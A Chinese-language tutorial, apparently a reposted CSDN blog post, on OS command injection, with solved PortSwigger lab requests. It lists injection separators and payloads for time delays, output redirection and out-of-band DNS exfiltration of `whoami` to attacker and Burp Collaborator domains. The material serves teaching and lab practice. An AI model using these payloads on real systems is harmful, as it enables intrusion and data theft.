天天看點

「網絡技術」WEB安全基礎入門—作業系統指令注入(shell 注入)

作者:網信傳遞

1. 什麼是作業系統指令注入

攻擊者可在伺服器端執行任意系統(OS)指令,擷取敏感資料。通常攻擊者會嘗試利用系統内部的信任關系,将攻擊轉移到系統内的其他系統,擷取更大權限。

「網絡技術」WEB安全基礎入門—作業系統指令注入(shell 注入)

2. 攻擊流程解析

以電商網站為例,經常有查詢庫存餘量的功能,URL如下

https://insecure-website.com/stockStatus?productID=381&storeID=29

背景在處理此URL時,調用庫存查詢接口,由于曆史原因,接口往往需要使用shell指令調用其他系統子產品。類似如下指令

stockreport.pl 381 29

.pl 是perl語言源程式檔案的擴充名,參數值将作為參數傳入該“腳本”進行調用庫存餘量查詢。

如果将該腳本參數改為如下

stockreport.pl & echo aiwefwlguh & 29

&為系統指令分隔符,會将上述一條指令差分為3條系統指令,顯示結果如下:

Error - productID was not provided (stockreport.pl未得到有效參數,報錯)

aiwefwlguh(echo指令執行)

29: command not found (系統無法辨識的指令)

例題 1

3. 常用指令

發現漏洞後,應執行一些基礎指令,檢視相關系統資訊。

目标 Linux Windows

目前使用者名 whoami whoami

作業系統 uname -a ver

網絡配置 ifconfig ipconfig /all

網絡連接配接狀态 netstat -an netstat -an

運作程序 ps -ef tasklist

4. 指令注入盲注漏洞

有些指令注入指令,不會随響應包響應任何結果。如回報資訊頁,當使用者完成了回報,點選送出後。系統允許會生成如下郵件指令發送給管理者

mail -s "This site is great" -aFrom:[email protected] [email protected]

這個指令就算存在的指令注入漏洞,但是在使用者web端不會有任何回顯。

但我們可以嘗試以下方式進行測試漏洞是否存在

利用時間延遲測試漏洞存在

& ping -c 10 127.0.0.1 &

系統若存在漏洞,将會發起10次ping指令,導緻響應時間延遲。

例題2

利用輸出重定向來擷取結果

& whoami > /var/www/static/whoami.txt &

若指令執行成功,指令執行結果将會寫入路徑下的whoami.txt檔案中。若能成功讀取該檔案,就能擷取結果。

例題3

利用帶外技術(OAST)擷取結果

& nslookup kgji2ohoyw.web-attacker.com &

& nslookup whoami.kgji2ohoyw.web-attacker.com &

使用指令nslookup來發起DNS對特定域名(攻擊者控制的域名)的查詢。通過查詢通路記錄擷取結果

例題4、5

5. 常用注入操作符

window與類linux系統通用

&

&&

|

||

類linux專用

0x0a or \n (換新行)

類linux行内指令執行

command

$(command)

注意:指令注入要注意是否有引号等包裹,注意閉合後溢出,指令才能執行

6. 漏洞執行個體

1. 作業系統指令注入,簡單案例 (OS command injection, simple case)

目标

在檢視庫存量功能處存在指令執行漏洞。執行whoami指令回顯目前使用者

解題詳情

productId=1&storeId=1|ps%20-ef

productId=1&storeId=1|whoami

productId=1&storeId=1;whoami

2. 帶有時延的作業系統指令盲注入 (Blind OS command injection with time delays)

目标

在問題回報功能處存在盲注指令執行漏洞,執行盲注導緻10s延遲

解題詳情

name=fssa&email=123%40123.com||ping%20-c%2010%20192.168.1.1||&subject=13&message=adfs

name=fssa&email=123%40123.com;ping%20-c%2010%20192.168.1.1;&subject=13&message=adfs

3. 帶有輸出重定向的盲注作業系統指令注入(Blind OS command injection with output redirection)

目标

在問題回報功能處存在盲注指令執行漏洞,執行whoami指令,将結果輸出重定向到/var/www/images/,擷取結果。

解題詳情

POST /feedback/submit HTTP/1.1

Host: ac7f1f491f106b8fc08829fc00b50011.web-security-academy.net

csrf=f29VvEikq8kD255HWZvBLeu18JAX33Ei&name=1&email=123%40123.com||whoami%20>%20/var/www/images/result.txt||&subject=123&message=hello

GET /image?filename=result.txt HTTP/1.1

Host: ac7f1f491f106b8fc08829fc00b50011.web-security-academy.net

Cookie: session=TekRg9mt7CtTUqeyrHh8toH3lyZiUXTu

4. 帶外互動的盲注作業系統指令注入 (Blind OS command injection with out-of-band interaction)

目标

在問題回報功能處存在盲注指令執行漏洞,利用Burp Collaborator執行DNS lookup指令

解題詳情

POST /feedback/submit HTTP/1.1

Host: acc91f7c1e635f04c0c01cc100fa0054.web-security-academy.net

csrf=hLmRCnMINZA3RlaRBGIx6djbKV0t5911&name=2&email=123%40123.com||nslookup%20xxy8f3kz49690drczkiwx10zbqhg55.burpcollaborator.net||&subject=2&message=hello

5. 帶外資料外洩的盲注作業系統指令注入(Blind OS command injection with out-of-band data exfiltration)

目标

在問題回報功能處存在盲注指令執行漏洞,利用OAST技術擷取目前使用者名資訊并送出。

解題詳情

POST /feedback/submit HTTP/1.1

Host: aca51fa91ec5cbaec0d2294d00f300a8.web-security-academy.net

csrf=mJQ6zYNSkbeEGecCkoqfLemDT8pQeklX&name=3&email=123%40123.com||nslookup%20`whoami`.okcz2u7qr0t0n4e3mb5nksnqyh48sx.burpcollaborator.net||&subject=3&message=hello

「網絡技術」WEB安全基礎入門—作業系統指令注入(shell 注入)

文章知識點與官方知識檔案比對,可進一步學習相關知識

————————————————

版權聲明:本文為CSDN部落客「Eason_LYC」的原創文章,遵循CC 4.0 BY-SA版權協定,轉載請附上原文出處連結及本聲明。

原文連結:https://blog.csdn.net/eason612/article/details/125150098

繼續閱讀